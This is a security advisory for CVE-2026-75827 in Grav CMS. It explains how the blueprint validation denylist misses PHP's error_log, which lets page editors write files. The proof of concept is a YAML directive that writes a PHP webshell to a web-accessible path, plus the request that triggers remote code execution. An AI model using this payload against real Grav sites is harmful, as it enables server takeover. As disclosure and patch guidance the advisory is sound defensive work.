critical · 8.8CVE-2026-75827Sep 17, 2026

CVE-2026-75827: Grav CMS Arbitrary File Write via Blueprint error_log Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

A gap in Grav's blueprint dynamic-data validation lets any user with page-edit access call PHP's error_log function to write attacker-controlled PHP code to a web-accessible file, resulting in remote…

Packagegetgrav/grav
Ecosystemcomposer
Affected<= 2.0.14
Fixed in2.0.15

The problem

Grav's Blueprint engine resolves data-*@ directives by calling arbitrary PHP functions named in blueprint YAML. The guard, Blueprint::isSafeDynamicCall(), protects the Class::method branch with a positive allowlist, but protects the bare-function branch only with a denylist (Utils::isDangerousFunction()).

The denylist omits error_log. PHP's error_log($message, 3, $destination) appends $message verbatim to $destination when its second argument is 3, giving an attacker-controlled file-append primitive. Both the payload string and the destination path pass paramsContainDangerousCallable() unchallenged, so the full call proceeds.

Proof of concept

A working proof-of-concept for CVE-2026-75827 in getgrav/grav, with the exact payload below.

bash
# In a page's form frontmatter or a Flex/Users blueprint field:
data-options@:
  - error_log
  - "<?php system($_GET[0]); ?>"
  - 3
  - "user/data/x.php"

# Grav resolves the directive, isSafeDynamicCall('error_log', [...]) returns true (bug),
# then executes:
#   call_user_func_array('error_log', ['<?php system($_GET[0]); ?>', 3, 'user/data/x.php'])
# PHP appends the payload to user/data/x.php.
# Request the written file to get RCE:
# GET /user/data/x.php?0=id

The root cause is an asymmetric validation strategy left behind by the prior fix (GHSA-7pgq / CVE-2026-64850). That fix converted the Class::method branch to a positive allowlist (self::$allowedDynamicCallables) but left the bare-function branch on the denylist isDangerousFunction().

Any PHP function not explicitly listed there passes, and error_log is absent from the list.

error_log in mode 3 is a write-to-file primitive with no upload filter or extension check applied. paramsContainDangerousCallable() scans only for callable strings in the params array, so a PHP code string and a file path both pass. The patch in 2.0.15 extends the positive allowlist to cover bare-function calls as well, so only explicitly approved function names can be invoked from a blueprint directive.

The fix

Upgrade to getgrav/grav 2.0.15 (fix commit d5f89d95d94cc155bc3be998ee85527a7be073dd). The patch converts the bare-function branch of isSafeDynamicCall() from a denylist to the same positive allowlist already used for Class::method calls, so any function not explicitly approved is rejected by default.

Until you can upgrade, restrict page-edit and blueprint-config permissions to fully trusted administrators only.

Reported by rhukster (Andy Miller).

References: [1][2][3][4]

Related research